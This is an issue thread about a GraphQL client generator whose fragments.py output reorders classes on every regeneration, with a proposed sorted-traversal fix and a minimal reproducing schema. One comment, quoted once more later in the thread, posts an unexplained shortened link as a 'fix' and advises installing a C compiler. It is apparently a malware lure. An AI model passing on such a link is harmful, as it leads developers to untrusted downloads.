Order of classes in `fragments.py` file is inconsistent even without changes to schema or queries

[jukiewiczm]

Whenever I regenerate the client, the order of classes in fragments.py file changes. This happens regardless of whether there were any changes to either the schema or the queries.

It's a bit annoying for several reasons:

• I regenerate the client as my regular routine with every new task I'm working on to make sure the client is up to date (we rely on external schema), which means I always get changes in fragments.py file with every PR I create, even if there were no changes to the schema/queries.
• It's especially painful when more than one person is working on something GraphQL related, as a lot of merge conflicts arise due to the reordering.

Any chance this could be fixed? Or perhaps there's some kind of workaround I could use to stop that from happening?

[ghost]

I think this will help you.

https://bit.ly/4eugCty If you don't have the c compliator, install it.(gcc or clang)

[mattmorganpdx]

My team is having the same issue with fragments.py. I'm on Ubuntu and my coworkers are on mac and it seems to happen to all of us.

[mattmorganpdx]

I think this will help you.

https://bit.ly/4eugCty If you don't have the c compliator, install it.(gcc or clang)

That link no longer works

[mattmorganpdx]

There is something up with _get_sorted_fragments_names in fragments.py. Even changing the function this much got me what looks like the correct ordering.

def _get_sorted_fragments_names(
    self, fragments_names: Set[str], dependencies_dict: Dict[str, Set[str]]
) -> List[str]:
    sorted_names: List[str] = []
    visited: Set[str] = set()

    def visit(name: str) -> None:
        if name in visited:
            return
        visited.add(name)
        for dep in sorted(dependencies_dict.get(name, set())):
            visit(dep)
        sorted_names.append(name)

    for name in sorted(fragments_names):
        visit(name)

    return sorted_names

I have to get back to my day job but I'll try and put more time into this later.

[keirlawson]

I was able to recreate this issue with a relatively small schema and fragments:

schema {
    query: QueryRoot
}

type Completion {
    id: String!
    model: Model
    metric: Metric
}

type Metric {
    id: String!
}

type Model {
    id: String!
}

type QueryRoot {
    completion(useCase: String!, id: String!): Completion
}

fragment CompletionData on Completion {
    id
    model {
        ...ModelData
    }
    metric {
        ...MetricData
    }
}

fragment MetricData on Metric {
    id
}

fragment ModelData on Model {
    id
}

Over several generation runs I get unstable results.